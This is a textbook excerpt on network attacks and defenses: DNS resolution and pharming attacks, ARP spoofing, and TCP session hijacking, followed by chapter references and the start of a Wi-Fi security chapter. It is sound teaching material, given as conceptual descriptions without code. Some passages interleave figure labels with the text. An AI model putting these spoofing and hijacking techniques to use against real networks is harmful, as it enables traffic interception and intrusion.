Example (DNS resolution). The hostname www.tgtserver.com is resolved to an IP
address as follows. In Fig. 11.7, assume that all caches are empty, and that the client is
configured to use DNS services of its ISP (Internet Service Provider). The application
calls (1) the local DNS resolver, which in turn makes a query (2) to the ISP’s local DNS
server. That server queries (3) the ISP’s regional DNS server, S2 . So far, these have
all been recursive queries, meaning the service queried is expected to return a (final)
answer, itself making any further queries as necessary. At this point, S2 begins a sequence
of interactive queries, descending down the DNS global hierarchy of Fig. 11.7c until at
some level a server fully resolves the query. The first query (4) is to one of 13 global
DNS root servers.15 The root server R1 responds with the address of a server (say, T1 )
that can handle .com queries. S2 sends a request (5) to T1 , which responds with the
address of a server (say, A1 ) that can handle .tgtserver.com queries. S2 finally sends
a query (6) to A1 . A1 can return the desired (complete) answer, i.e., the IP address of
www.tgtserver.com, because A1 ’s DNS server is administered by the organization that
registered the domain tgtserver.com, and controls its subdomains (and the IP addresses
mapped to the corresponding hostnames) including www. The response from A1 to S2 is
relayed by S2 to S1 , which returns it to the local DNS resolver L. Each of L, S1 and S2 now
caches this <hostname, IP address> pair, to expedite repeat queries in the near future.
Higher-level org
Client app sends 4 R1 root servers
C DNS server
hostname to OS
for DNS lookup 5
S2 ... T
1 cache T1 T2 3
DNS resolver L 3 TLD servers
6
2
optionally cache S1 A1 A2 A3... A4 ... ...
A5
preload cache Enterprise
static local authoritative name servers
“hosts” file or ISP DNS server (DNS name servers)
mappings
a) Client device b) ISP or enterprise c) DNS global hierarchy
no lure, by forging address resolution. In this case, e.g., a user manually typing a correct
domain name into a browser URL bar can still end up at an incorrect IP address, thus re-
trieving data from a false site. Among other issues facilitating attacks, basic DNS queries
and replies are currently void of cryptographic protection (i.e., are unauthenticated).
Example (DNS resolution attacks). Figure 11.7 hints at a wide attack surface exposed
by the basic DNS resolution process. A few well-known attack vectors are as follows:
1. Local files. On both Unix and Windows systems, a local “hosts” file often statically
defines IP addresses for specified hostnames (configuration determines when or if this
file is used before external DNS services). This hosts file, and the DNS client cache
(DNS resolver cache), are subject to tampering by malware.
2. Tampering at intermediate DNS servers. DNS caches at any other servers (e.g., S1 ,
S2 ) are likewise subject to tampering by malware, and by inside attackers (perhaps in-
volving collusion or bribery). Even authoritative name servers are subject to malicious
tampering by insiders, albeit more widely visible.
3. Network-based response alteration. Middle-person attacks on any untrusted network
en route can alter (valid) DNS responses before reaching the original requestor.
4. Malicious DNS server settings. Clients are configured to use a specific external DNS
server (Fig. 11.7b). Its IP address, visible by a DNS settings dialogue, is subject to
being changed to a malicious DNS server. The risk is especially high when using
untrusted networks (e.g., in Internet cafés, airports, hotels), as guest IP addresses are
commonly allocated using DHCP (Dynamic Host Configuration Protocol); this often
results in client devices using DNS servers assigned by the DHCP server provided by
the access point, whether wireless or wired.
A further major network-based attack vector involves DNS spoofing (next).
‡Exercise (DNS poisoning). DNS spoofing is unauthorized origination of (false) DNS
responses. a) Explain how a sub-type of this, DNS cache poisoning attacks, work in
general, including the role of 16-bit ID fields in DNS protocol messages. b) Explain
how the Kaminsky technique dramatically increased attack effectiveness. c) Explain how
randomized 16-bit UDP source ports are of defensive use. d) Explain how mixing upper
and lower case spelling of queried hostnames increases attack difficulty. (Hint: [23].)
‡Exercise (DNS attacks). Grouping DNS attacks by architectural domain exploited,
describe at least one attack for each of five domains: local services; ISP or enterprise ser-
vices; global DNS services; authoritative DNS services; domain registrars. (Hint: [63].)
P HARMING DEFENSES . As DNS is a core infrastructure, many security issues re-
lated to DNS resolution are beyond the control of regular users. Avoiding use of untrusted
networks (e.g., guest Wi-Fi service) is easy advice to give, but not generally pragmatic.
A long-term solution, Domain Name System Security Extensions (DNSSEC), offers dig-
itally signed responses to DNS queries, but its deployment has been slow, due to the
complexity of universal deployment of a supporting public-key infrastructure.
ARP. On a local area network (LAN), Ethernet frames are delivered by MAC address.
The Address Resolution Protocol (ARP) is used to map IP addresses to MAC addresses.
A host aiming to learn a MAC address corresponding to a target IP address sends out a
328 Chapter 11. Intrusion Detection and Network-Based Attacks
1
vicJm V switch G gateway router
2
V’s ARP cache 3 G’s ARP cache
<IPaddrG, MACaddrT> aPack <IPaddr V, MACaddrT>
T host
Figure 11.8: ARP spoofing. Intended flow (1), actual flows (2), (3). T poisons V ’s ARP
cache. As a result, traffic sent via G over the LAN, intended (1) for a destination beyond
Ch.11. ARP spoofing. Intended flow (1), actual flows (2), (3).
G, is instead sent (2) by V to the physical interface of T . By also poisoning G’s ARP
V’s ARP cache is poisoned by T’s ARP spoofing. As a result, traffic sent over the LAN
cache, T can arrange that incoming traffic to V via G is sent by G to T . Thus T has a LAN
intended (1) for a desJnaJon beyond gateway G is instead sent by V (2) to the
middle-person attack between V and G. Note: the switch itself is not poisoned.
physical interface of T. T can monitor, alter, and forward this frame. By similarly
poisoning G’s ARP cache, T can arrange that incoming traffic to V via G is likewise
LAN broadcastsent by G to T. This amounts to a middle-person aPack between G and V. Note that
message indicating the IP address; the protocol specifies that any host
the switch itself is not poisoned.
having a network interface assigned that IP address reply with the pair <IP address, MAC
address>. Each LAN host then keeps a local table (ARP cache) of such responses (map-
ping OSI layer 3 to layer 2 addresses), as an efficiency to reduce future ARP requests.
ARP SPOOFING . An attacking host can send false ARP replies, asserting its own
MAC address as that of the device located at a same-LAN target (victim) IP address. This
is ARP spoofing, and results in false entries in ARP caches, i.e., poisoned ARP caches.
It is possible because: 1) ARP replies are not authenticated (any LAN host can reply),
and 2) hosts commonly accept replies even in the absence of requests—existing entries
are overwritten. In this way, the physical interface to the attack host (T in Fig. 11.8) can
receive Ethernet frames intended for other LAN hosts. This allows T to monitor traffic
(before possibly altering and forwarding it), even on a switched LAN.
ARP SPOOFING DEFENSES . ARP spoofing is stopped by static, read-only per-
device ARP tables mapping IP address to MAC address; setting and updating these man-
ually requires extra effort. Various tools (beyond our scope) may detect and prevent ARP
spoofing, for example, by cross-checking ARP responses. A preferred long-term solution
is a reliable form of authentication in an upgraded Address Resolution Protocol.
‡Exercise (Port stealing, MAC flooding). Two further attacks that exploit failures to
provide REQUEST- RESPONSE - INTEGRITY (P19) involve data link (layer 2) manipulations
of network switch MAC tables. These tables, unlike ARP tables, map MAC addresses to
the physical interfaces (switch ports) to which individual LAN devices are wired. Explain
each attack: a) port stealing; and b) MAC flooding. (Hint: [76]. These attacks can be
stopped by manually configuring switch ports with specific MAC addresses, again with
extra management effort, and beyond the capability of end-users.)
Exercise (Comparing attacks). Explain how DNS resolution attacks and ARP spoof-
ing are analogous, by using technical details of how each (a) maps identifiers from one
network layer to another; and (b) can turn an off-path attacker into an on-path attacker.
‡Exercise (Beyond passive sniffers: dsniff, Ettercap). Beyond passive packet capture,
broader tools provide active packet manipulation capabilities, e.g., supporting middle-
person attacks, ARP spoofing, and denial of service attacks. dsniff is an Ethernet sniffing
toolset whose authorized uses include penetration testing and security auditing. Ettercap is
11.6. ‡TCP session hijacking 329
client
flags: SYN server
A
seq(1000) B
ISNa = 1000 ISNb = 2000
flags: SYN-ACK
seq(2000), ack(1001)
flags: A
seq(10 CK 10 data bytes
01), ac
k(2001
)
CK
20 data bytes flags: A
ck (1011)
q ( 2001), a
se
flags: A
seq(10 CK 15 data bytes
11), ac
k(2021
)
Figure Ch.10. TCP three-way handshake and sequence numbering. As shown here, the
11.9: TCP three-way handshake and sequence numbering. As shown, the third
ACK as part of the third handshake message may be delayed, in which case it
handshake message’s ACK may be delayed and piggy-backed onto a data transfer rather
may be accompanied by data transfer rather than being an empty segment. The
than in an empty segment. The SYN flag counts for one position in the number sequence.
SYN flag is treated specially, and charged as one byte of data.
byte preceding this was successfully received). If a gap results due to a segment being
corrupted or received out of order, the same ACK value may be resent several times (the
missing segment is eventually received, or triggers retransmission). Sequence numbers
are particularly relevant due to their role in TCP session hijacking, and RST attacks.
TCP SESSION HIJACKING : CONTEXT. As noted, sequence-numbering fields in
TCP headers synchronize byte streams. If SND.NXTa numbers the next byte A will send
(next sequence number to be used), and RCV.NXTb numbers B’s last acknowledgement,
then in quiet periods: SND.NXTa =RCV.NXTb and SND.NXTb =RCV.NXTa . Designed for
accounting (not security), this byte numbering allows proper handling and placement in
receive buffers (and any retransmission) of TCP segments lost or received out of order,
and filling of any temporary buffer data holes. If sequence numbers are not within a
valid range,16 a TCP segment (packet) may be dropped; precise conditions depend on the
TCP specification and details such as the receive window size (RCV.WND), and how many
received segments remain unacknowledged. The attacker aims to craft a packet with valid
sequencing numbers, relative to the receiver’s TCP state machine.
TCP HIJACKING : OUTLINE . Consider a TCP connection between hosts A and B,
with attacker T somewhere on-path (on the path the packets travel). Using any sniffer,
T can read packet contents including A’s IP address. Using any packet creation tool, T
will send packets to B, falsely asserting A’s source address—this is not prevented by TCP
(Fig. 11.10, label 1). Responses will not be addressed to T , but this doesn’t matter; they
are visible by on-path sniffing. For the A–B connection, T sniffs socket details and the
session’s current sequencing numbers, using these to craft and inject packets whose TCP
16 Asstandard checks, an incoming value SEG.SEQ should be in [RCV.NXT, RCV.NXT+RCV.WND], and an
incoming SEG.ACK should never be for bytes not yet sent, so SEG.ACK≤SND.NXT is required.
11.6. ‡TCP session hijacking 331
segments have sequencing numbers valid from B’s view of the A–B protocol state. B
now receives TCP segments from T , processing them as if from A (e.g., data, commands,
programs). To complete the attack, T removes A from being a nuisance (described next).
A 3 1 B
T (on-path aCacker)
Figure 11.10: TCP session hijacking. T need not be on the LAN of either A or B.
ysis (cf. NIST [75]), Bro signatures can use context (including state) to reduce false posi-
tives, as noted by Sommer [77, Sect. 3.5], [78]; the latter also discusses converting Snort
rules to Bro signatures and compares the systems. Such contextualized signatures differ
from using Bro in pure specification-based approaches, which have a stronger goodlist
(allowlist) basis—see Ko [47] and Uppuluri [80]. Ptacek [68] explains how IDS evasion
is possible by maliciously fragmenting packets and related means causing ambiguities in
packet reassembly. Handley [39] outlines traffic normalization to address this (related
literature refers to protocol scrubbers), in a broad-sense example of principle P15 (DATA -
TYPE - VALIDATION ).
Rather than industry-driven IDSs, Bejtlich argues for network security based on strong
monitoring tools in books focused on inbound [13] and outbound traffic [14], calling the
latter extrusion detection. For IDS in practice, see also Northcutt [61, 60]. For the BSD
Packet Filter (BPF) widely used in packet capture tools, see McCanne [53]. Safford [74]
introduces Drawbridge, a filtering bridge, and describes the TAMU security package, an
early monitoring and intruder defense system. Decoy targets called honeypots (hosts with
no legitimate users) allow extraction of knowledge from attackers and malware capture for
signature generation; see Provos [67] for this and Honeyd, and Cheswick [21] including
for use of a chroot jail. Bellovin’s early Internet-monitoring papers [15, 16] were illumi-
nating. The Unix finger command (RFC 1288), heavily used in early Internet days to
obtain information about users on remote hosts, is deprecated (commonly unsupported),
for security reasons. On the base rate fallacy, see Axelsson [10] for IDS implications (and
IDS base rates), and Beauchemin [12] as it relates to generating probable prime numbers.
Software flaws including buffer overflows (for which Chapter 6 noted static analysis)
can be found by fuzzing (fuzz testing), which may offer information on offending inputs as
a bonus. Miller’s seminal fuzzing studies [56, 55] explored software responses to random
input, respectively for Unix commands and MacOS applications. For software fault injec-
tion (a sub-class of fuzzing), see Voas [81] and also Anley [4, Ch. 16-17]. For fuzzing
and broader penetration testing (cf. McGraw [54, Ch. 6]) see Harper [40], as well as for
Metasploit and responsible disclosure. Regarding curious Metasploit usage patterns over
the first two days after release of new exploit modules, see Ramirez-Silva [70]. For vul-
nerability assessment, scanning and exploitation tools, and defenses, see Skoudis [76].
SATAN [31] popularized the now well-accepted practice “hack yourself before the bad
guy does”; Bace [11] explains how earlier self-assessments were credentialed, i.e., used
on-host tools such as COPS [30] run on authorized user accounts. In a later book [32],
the SATAN authors explore computer forensics. OS detection via TCP/UDP stackprinting
in Nmap is from Fyodor [35]. For p0f see Zalewski [85, pp. 142–146]. Xprobe2 origi-
nates from Ofir Arkin and Fyodor Yarochkin [62]. For detection of port scanning based
on a small number of probes, see Jung [44], and Staniford [79] for detecting stealthy port
scans. For use of exposure maps to enumerate sockets responsive to external connection
attempts, see Whyte [84]. For Internet-wide scanning using ZMap, see Durumeric [28].
Abliz [1] offers a comprehensive survey on DoS. Paxson [65] explores DDoS attacks
by which packets sent to a large number of reflectors (any IP host that responds to packets
sent) target a specific true victim as the false source IP address, with responses flooding
334 Chapter 11. Intrusion Detection and Network-Based Attacks
that victim. See Rossow [73] for a study of UDP-based network protocols vulnerable
to amplification attacks, and countermeasures. Moore [59] measures global DoS activity
using backscatter analysis. Jung [43] discusses relationships between DoS, flash crowds,
and CDNs. For ingress filtering, see RFC 2827 [33]; and for additional TCP SYN flooding
mitigations, RFC 4987 [29]. SYN flooding, popularized by daemon9 [22], was known
to Bellovin [18]. DoS-related CERT Advisories (CA) and Incident Notes (IN) include
suggested mitigations: CA-1996-01 (UDP flood), CA-1996-21 (TCP SYN flood), CA-
1996-26 (Ping of Death), CA-1997-28 (Teardrop, LAND), CA-1998-01 (Smurf) and IN-
99-07 (Trinoo, TFN). DNS is standardized in two RFCs by Mockapetris [57, 58]; for a
threat analysis, see RFC 3833 [9], and Bellovin [17]. DNSSEC, specified in three main
RFCs [6, 7, 8], offers a collection of new resource records and protocol modifications
enabling DNS to provide data origin authentication and integrity to query-response pairs
(cf. P19, REQUEST- RESPONSE - INTEGRITY); RFC 6840 [82] offers implementation notes.
TCP/IP suite vulnerabilities and mitigations are discussed in Gont’s security roadmap
[38], as a companion to RFCs; see also Bellovin’s annotated lookback [18], including for
routing-based attacks allowing on-path hijacking. TCP off-path (or blind) attacks aiming
to disrupt (e.g., by resets) or inject data into/hijack connections, typically require know-
ing or guessing socket details plus an acceptable SEQ and/or ACK number; these build on
Morris’ 1985 blind TCP connection-spoofing attack [37, Appendix A.1] (also discussed
by Zalewski [85, pp. 147–150], including implications of successful data injection into
unencrypted sessions). Mitigations include using unpredictable TCP ISNs [37], random-
ization of ephemeral ports [50], and ([69], cf. [38]) narrowing the range of acceptable
SEQ / ACK numbers plus additional challenge ACKs.
Joncheray [42] explained the details of TCP-based session hijacking. For TCP session
hijacking by an on-path attacker that is not on the LAN of either end-host, ARP spoofing
can be used on intermediate routers; see Skoudis [76, p. 488]. For ARP spoofing, see
Bruschi [20]. ARP is defined in RFC 826 [66]. Regarding Ettercap, its authors note in an
interview with Biancuzzi [19]: “We were studying for a university exam on networking,
and we noticed that network security was more fun than differential equations.”
References (Chapter 11)
[1] M. Abliz. Internet denial of service attacks and defense mechanisms, Mar. 2011. University of Pitts-
burgh Technical Report TR-11-178, pp.1–50.
[2] W. Aiello, S. M. Bellovin, M. Blaze, J. Ioannidis, O. Reingold, R. Canetti, and A. D. Keromytis.
Efficient, DoS-resistant, secure key exchange for Internet protocols. In ACM Comp. & Comm. Security
(CCS), pages 48–58, 2002. Journal version: ACM TISSEC, 2004.
[3] J. P. Anderson. Computer Security Threat Monitoring and Surveillance. James P. Anderson Co., Fort
Washington, PA, USA. Feb 1980, revised 15 Apr 1980. (Distinct from Anderson’s 1972 report).
[4] C. Anley, J. Heasman, F. Lindner, and G. Richarte. The Shellcoder’s Handbook: Discovering and
Exploiting Security Holes (2nd edition). Wiley, 2007.
[5] M. Antonakakis and 18 others. Understanding the Mirai botnet. In USENIX Security, 2017.
[6] R. Arends, R. Austein, M. Larson, D. Massey, and S. Rose. RFC 4033: DNS Security Introduction and
Requirements, Mar. 2005. Proposed Standard. Obsoletes RFC 2535 (which obsoleted 2065, Jan 1997);
updated by RFC 6014, 6840.
[7] R. Arends, R. Austein, M. Larson, D. Massey, and S. Rose. RFC 4034: Resource Records for the DNS
Security Extensions, Mar. 2005. Proposed Standard. Updated by RFC 4470, 6014, 6840, 6944.
[8] R. Arends, R. Austein, M. Larson, D. Massey, and S. Rose. RFC 4035: Protocol Modifications for the
DNS Security Extensions, Mar. 2005. Proposed Standard. Updated by RFC 4470, 6014, 6840, 8198.
[9] D. Atkins and R. Austein. RFC 3833: Threat Analysis of the Domain Name System (DNS), Aug. 2004.
Informational.
[10] S. Axelsson. The base-rate fallacy and its implications for the difficulty of intrusion detection. In ACM
Comp. & Comm. Security (CCS), pages 1–7, 1999. Journal version: ACM TISSEC, 2000.
[11] R. G. Bace. Intrusion Detection. Macmillan, 2000.
[12] P. Beauchemin, G. Brassard, C. Crépeau, C. Goutier, and C. Pomerance. The generation of random
numbers that are probably prime. Journal of Cryptology, 1(1):53–64, 1988.
[13] R. Bejtlich. The Tao of Network Security Monitoring: Beyond Intrusion Detection. Addison-Wesley,
2004.
[14] R. Bejtlich. Extrusion Detection: Security Monitoring for Internal Intrusions. Addison-Wesley, 2005.
[15] S. M. Bellovin. There be dragons. In Proc. Summer USENIX Technical Conf., 1992.
[16] S. M. Bellovin. Packets found on an Internet. Computer Communication Review, 23(3):26–31, 1993.
[17] S. M. Bellovin. Using the domain name system for system break-ins. In USENIX Security, 1995.
[18] S. M. Bellovin. A look back at “Security problems in the TCP/IP protocol suite”. In Annual Computer
Security Applications Conf. (ACSAC), pages 229–249, 2004. Embeds commentary into 1989 original
“Security problems in the TCP/IP protocol suite”, Comp. Commn Review 19(2):32–48, Apr 1989.
[19] F. Biancuzzi. The men behind ettercapNG. On linux.com, 9 Nov 2004, https://www.linux.com/
news/men-behind-ettercapng; see also https://www.ettercap-project.org/.
335
336 References (Chapter 11)
[20] D. Bruschi, A. Ornaghi, and E. Rosti. S-ARP: A secure address resolution protocol. In Annual Com-
puter Security Applications Conf. (ACSAC), pages 66–74, 2003.
[21] B. Cheswick. An evening with Berferd in which a cracker is lured, endured, and studied. In Proc.
Winter USENIX Technical Conf., 1992.
[22] daemon9, route, and infinity. Project Neptune. In Phrack Magazine. 1 Sept 1996, vol.7 no.48, file 13
of 18 (with Linux source), http://www.phrack.org.
[23] D. Dagon, M. Antonakakis, P. Vixie, T. Jinmei, and W. Lee. Increased DNS forgery resistance through
0x20-bit encoding: SecURItY viA LeET QueRieS. In ACM Comp. & Comm. Security (CCS), 2008.
[24] H. Debar, M. Dacier, and A. Wespi. A revised taxonomy for intrusion-detection systems. Annales des
Télécommunications, 55(7-8):361–378, 2000.
[25] D. Denning and P. G. Neumann. Requirements and model for IDES—A real-time intrusion-detection
expert system, Aug. 1985. SRI Project 6169-10, Menlo Park, CA, USA.
[26] D. E. Denning. An intrusion-detection model. In IEEE Symp. Security and Privacy, pages 118–133,
1986. Journal version: IEEE Trans. Software Eng., 1987.
[27] D. Dittrich. The DoS Project’s ‘trinoo’ distributed denial of service attack tool. 21 Oct 1999, University
of Washington, https://staff.washington.edu/dittrich/misc/ddos/.
[28] Z. Durumeric, E. Wustrow, and J. A. Halderman. Zmap: Fast internet-wide scanning and its security
applications. In USENIX Security, pages 605–620, 2013.
[29] W. Eddy. RFC 4987: TCP SYN Flooding Attacks and Common Mitigations, Aug. 2007. Informational.
[30] D. Farmer and E. H. Spafford. The COPS security checker system. In Proc. Summer USENIX Technical
Conf., pages 165–170, 1990.
[31] D. Farmer and W. Venema. Improving the security of your site by breaking into it. White pa-
per, 1993, http://www.porcupine.org/satan/admin-guide-to-cracking.html (software tool
openly available).
[32] D. Farmer and W. Venema. Forensic Discovery. Addison-Wesley, 2005.
[33] P. Ferguson and D. Senie. RFC 2827: Network Ingress Filtering—Defeating Denial of Service Attacks
that employ IP Source Address Spoofing, May 2000. Best Current Practice (BCP 38). Updated by RFC
3704: Ingress Filtering for Multihomed Networks, Mar 2004.
[34] S. Forrest, S. A. Hofmeyr, A. Somayaji, and T. A. Longstaff. A sense of self for Unix processes. In
IEEE Symp. Security and Privacy, pages 120–128, 1996.
[35] Fyodor. Remote OS detection via TCP/IP Stack FingerPrinting. In Phrack Magazine. 25 Dec 1998,
vol.8 no.54, article 9 of 12, http://www.phrack.org. Nmap details: https://nmap.org/book/.
[36] F. Gont. RFC 5927: ICMP Attacks Against TCP, July 2010. Informational.
[37] F. Gont and S. Bellovin. RFC 6528: Defending Against Sequence Number Attacks, Feb. 2012. Pro-
posed Standard. Obsoletes RFC 1948. Updates RFC 793.
[38] F. Gont (on behalf of CPNI). Security assessment of the Transmission Control Protocol (TCP). Tech-
nical Note 3/2009, Centre for the Protection of National Infrastructure (CPNI), UK.
[39] M. Handley, V. Paxson, and C. Kreibich. Network intrusion detection: Evasion, traffic normalization,
and end-to-end protocol semantics. In USENIX Security, 2001.
[40] A. Harper, S. Harris, J. Ness, C. Eagle, G. Lenkey, and T. Williams. Gray Hat Hacking: The Ethical
Hacker’s Handbook (3rd edition). McGraw-Hill, 2011.
[41] S. A. Hofmeyr, S. Forrest, and A. Somayaji. Intrusion detection using sequences of system calls.
Journal of Computer Security, 6(3):151–180, 1998.
[42] L. Joncheray. A simple active attack against TCP. In USENIX Security, 1995.
References (Chapter 11) 337
[43] J. Jung, B. Krishnamurthy, and M. Rabinovich. Flash crowds and denial of service attacks: characteri-
zation and implications for CDNs and web sites. In WWW—Int’l Conf. on World Wide Web, 2002.
[44] J. Jung, V. Paxson, A. W. Berger, and H. Balakrishnan. Fast portscan detection using sequential hy-
pothesis testing. In IEEE Symp. Security and Privacy, pages 211–225, 2004.
[45] C. Kaufman, R. J. Perlman, and B. Sommerfeld. DoS protection for UDP-based protocols. In ACM
Comp. & Comm. Security (CCS), pages 2–7, 2003.
[46] D. Kennedy, J. O’Gorman, D. Kearns, and M. Aharoni. Metasploit: The Penetration Tester’s Guide.
No Starch Press, 2011. See also: The Metasploit Project, https://www.metasploit.com.
[47] C. Ko, M. Ruschitzka, and K. N. Levitt. Execution monitoring of security-critical programs in dis-
tributed systems: A specification-based approach. In IEEE Symp. Security and Privacy, 1997.
[48] C. Kolias, G. Kambourakis, A. Stavrou, and J. M. Voas. DDoS in the IoT: Mirai and Other Botnets.
IEEE Computer, 50(7):80–84, 2017.
[49] M. Kührer, T. Hupperich, C. Rossow, and T. Holz. Exit from hell? Reducing the impact of amplification
DDoS attacks. In USENIX Security, pages 111–125, 2014.
[50] M. Larsen and F. Gont. RFC 6056: Recommendations for Transport-Protocol Port Randomization, Jan.
2011. Best Current Practice (BCP 156).
[51] J. Lemon. Resisting SYN flood DoS attacks with a SYN cache. In USENIX BSDCon, 2002.
[52] T. F. Lunt, A. Tamaru, F. Gilham, R. Jagannathan, P. G. Neumann, and C. Jalali. IDES: A progress
report. In Annual Computer Security Applications Conf. (ACSAC), pages 273–285, 1990. For details of
the IDES anomaly-based statistical subsystem, see H.S. Javitz and A. Valdes, “The SRI IDES statistical
anomaly detector”, IEEE Symp. Security and Privacy, 1991.
[53] S. McCanne and V. Jacobson. The BSD packet filter: A new architecture for user-level packet capture.
In Proc. Winter USENIX Technical Conf., pages 259–270, 1993.
[54] G. McGraw. Software Security: Building Security In. Addison-Wesley, 2006. Includes extensive
annotated bibliography.
[55] B. P. Miller, G. Cooksey, and F. Moore. An empirical study of the robustness of MacOS applications
using random testing. ACM Operating Sys. Review, 41(1):78–86, 2007.
[56] B. P. Miller, L. Fredriksen, and B. So. An empirical study of the reliability of UNIX utilities. Comm.
ACM, 33(12):32–44, 1990. Revisited in Tech. Report CS-TR-95-1268 (Apr 1995), Univ. of Wisconsin.
[57] P. Mockapetris. RFC 1034: Domain Names—Concepts and Facilities, Nov. 1987. Internet Standard.
Obsoletes RFC 882, 883, 973.
[58] P. Mockapetris. RFC 1035: Domain Names—Implementation and Specification, Nov. 1987. Internet
Standard. Obsoletes RFC 882, 883, 973.
[59] D. Moore, C. Shannon, D. J. Brown, G. M. Voelker, and S. Savage. Inferring Internet denial-of-service
activity. ACM Trans. Comput. Syst., 24(2):115–139, May 2006. Earlier: USENIX Security 2001.
[60] S. Northcutt, M. Cooper, M. Fearnow, and K. Frederick. Intrusion Signatures and Analysis. New Riders
Publishing, 2001.
[61] S. Northcutt, J. Novak, and D. McLachlan. Network Intrusion Detection: An Analyst’s Handbook (2nd
edition). New Riders Publishing, 2000.
[62] Ofir Arkin and Fyodor Yarochkin. ICMP based remote OS TCP/IP stack fingerprinting techniques. In
Phrack Magazine. 11 Aug 2001, vol.11 no.57, file 7 of 12, http://www.phrack.org.
[63] G. Ollmann. The pharming guide: Understanding and preventing DNS-related attacks by phishers.
Whitepaper, available online, July 2005.
[64] V. Paxson. Bro: A system for detecting network intruders in real-time. Computer Networks, 31(23-
24):2435–2463, 1999. Earlier version: USENIX Security, 1998.
338 References (Chapter 11)
[65] V. Paxson. An analysis of using reflectors for distributed denial-of-service attacks. Computer Commu-
nication Review, 31(3):38–47, 2001. See also: Steve Gibson, “Distributed reflection denial of service”,
22 Feb 2002 (online).
[66] D. C. Plummer. RFC 826: An Ethernet Address Resolution Protocol, Nov. 1982. Internet Standard.
[67] N. Provos and T. Holz. Virtual Honeypots: From Botnet Tracking to Intrusion Detection. Addison-
Wesley, 2007.
[68] T. H. Ptacek and T. N. Newsham. Insertion, evasion, and denial of service: Eluding network intrusion
detection. January 1998, available online.
[69] A. Ramaiah, R. Stewart, and M. Dalal. RFC 5961: Improving TCP’s Robustness to Blind In-Window
Attacks, Aug. 2010. Proposed Standard.
[70] E. Ramirez-Silva and M. Dacier. Empirical study of the impact of Metasploit-related attacks in 4 years
of attack traces. In Asian Computing Sci. Conf. (ASIAN), pages 198–211, 2007. Springer LNCS 4846.
[71] M. J. Ranum, K. Landfield, M. T. Stolarchuk, M. Sienkiewicz, A. Lambeth, and E. Wall. Implementing
a generalized tool for network monitoring. In Large Installation Sys. Admin. Conf. (LISA), 1997.
[72] M. Roesch. Snort: Lightweight intrusion detection for networks. In Large Installation Sys. Admin.
Conf. (LISA), pages 229–238, 1999. For official documentation see https://www.snort.org.
[73] C. Rossow. Amplification hell: Revisiting network protocols for DDoS abuse. In Netw. Dist. Sys.
Security (NDSS), 2014.
[74] D. Safford, D. L. Schales, and D. K. Hess. The TAMU security package: An ongoing response to
internet intruders in an academic environment. In USENIX Security, 1993.
[75] K. Scarfone and P. Mell. Guide to Intrusion Detection and Prevention Systems (IDPS). NIST Special
Publication 800–94, National Inst. Standards and Tech., USA, Feb. 2007.
[76] E. Skoudis and T. Liston. Counter Hack Reloaded: A Step-by-Step Guide to Computer Attacks and
Effective Defenses (2nd edition). Prentice Hall, 2006 (first edition: 2001).
[77] R. Sommer. Bro: An open source network intrusion detection system. In 17th DFN Workshop on
Communication Networks, pages 273–288, 2003.
[78] R. Sommer and V. Paxson. Enhancing byte-level network intrusion detection signatures with context.
In ACM Comp. & Comm. Security (CCS), pages 262–271, 2003. (Compares Bro to Snort).
[79] S. Staniford, J. A. Hoagland, and J. M. McAlerney. Practical automated detection of stealthy portscans.
Journal of Computer Security, 10(1/2):105–136, 2002.
[80] P. Uppuluri and R. Sekar. Experiences with specification-based intrusion detection. In Reseach in
Attacks, Intrusions, Defenses (RAID), pages 172–189, 2001.
[81] J. Voas and G. McGraw. Software Fault Injection: Inoculating Programs Against Errors. Wiley, 1998.
[82] S. Weiler and D. Blacka. RFC 6840: Clarifications and Implementation Notes for DNS Security
(DNSSEC), Feb. 2013. Proposed Standard.
[83] J. White, T. Fitzsimmons, J. Licata, and J. Matthews. Quantitative analysis of intrusion detection
systems: Snort and Suricata. In Proc. SPIE 8757, Cyber Sensing 2013, pages 275–289. Apr 30, 2013.
[84] D. Whyte, P. C. van Oorschot, and E. Kranakis. Tracking darkports for network defense. In Annual
Computer Security Applications Conf. (ACSAC), pages 161–171, 2007. Earlier version: USENIX Hot-
Sec, 2006, “Exposure maps: Removing reliance on attribution during scan detecion”.
[85] M. Zalewski. Silence on the Wire: a Field Guide to Passive Reconnaissance and Indirect Attacks. No
Starch Press, 2005. See also “p0f v3: passive fingerprinter”, https://lcamtuf.coredump.cx/p0f3/
README.
Computer Security and the Internet: Tools and Jewels (2e)
Chapter 12
Wireless LAN Security: 802.11 and Wi-Fi
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
This chapter considers wireless local area network (WLAN) security. The focus is WLANs
based on the IEEE 802.11 standard, and related subsets marketed under the Wi-Fi brand by
an industry association to facilitate product interoperability. This provides a rich oppor-
tunity to explore and analyze the security implications of specific design choices actually
made in a major fielded system—avoiding any claims that “no one would ever have made
those choices in practice” and long lists of “what if” or “suppose that” alternatives. Wire-
less access introduces both new security challenges, and an opportunity to apply standard
security tools and mechanisms to wireless LANs as a particular use case. Our study will
also illustrate that building real-life systems involves a large number of low-level security-
relevant decisions—and that design mistakes are made even by international committees,
and in widely deployed products from large multi-national corporations.
340
12.1. Background: 802.11 WLAN architecture and overview 341
802.11
WLAN AS
STA AP
LAN
Figure 12.1: Three main components of a WLAN: mobile station (STA), access point (AP),
and authentication server (AS). Using the 802.1X model, the AP includes an authenticator,
which communicates with the AS (often known as a RADIUS server).
(DS), usually wired to the rest of the network, providing forwarding and routing services.
The AS may be built into the AP in simple designs (e.g., for home networks), often using
no more than a username-password list (we discuss more advanced authentication later).
I NFRASTRUCTURE MODE . Our main focus and the common use of an 802.11 WLAN
is what is called infrastructure mode. This involves one or more APs. An AP establishes
a wireless connection with a STA, logically connecting it to the DS (or perhaps to another
STA ). The AP’s authenticator sub-component allows the STA to access the DS via an
access control mechanism (shown later in Fig. 12.4) relying on an approval decision from
the AS. An AP plus one or more STAs in this mode is called a basic service set (BSS); two
or more BSSs connected by a DS form an extended service set (ESS).
‡A D HOC MODE . A different 802.11 network configuration—now without any AP—
is ad hoc mode. Endpoints (STAs) connect directly to each other, forming what is called
an independent basic service set (IBSS), with no connection to a DS or other network.
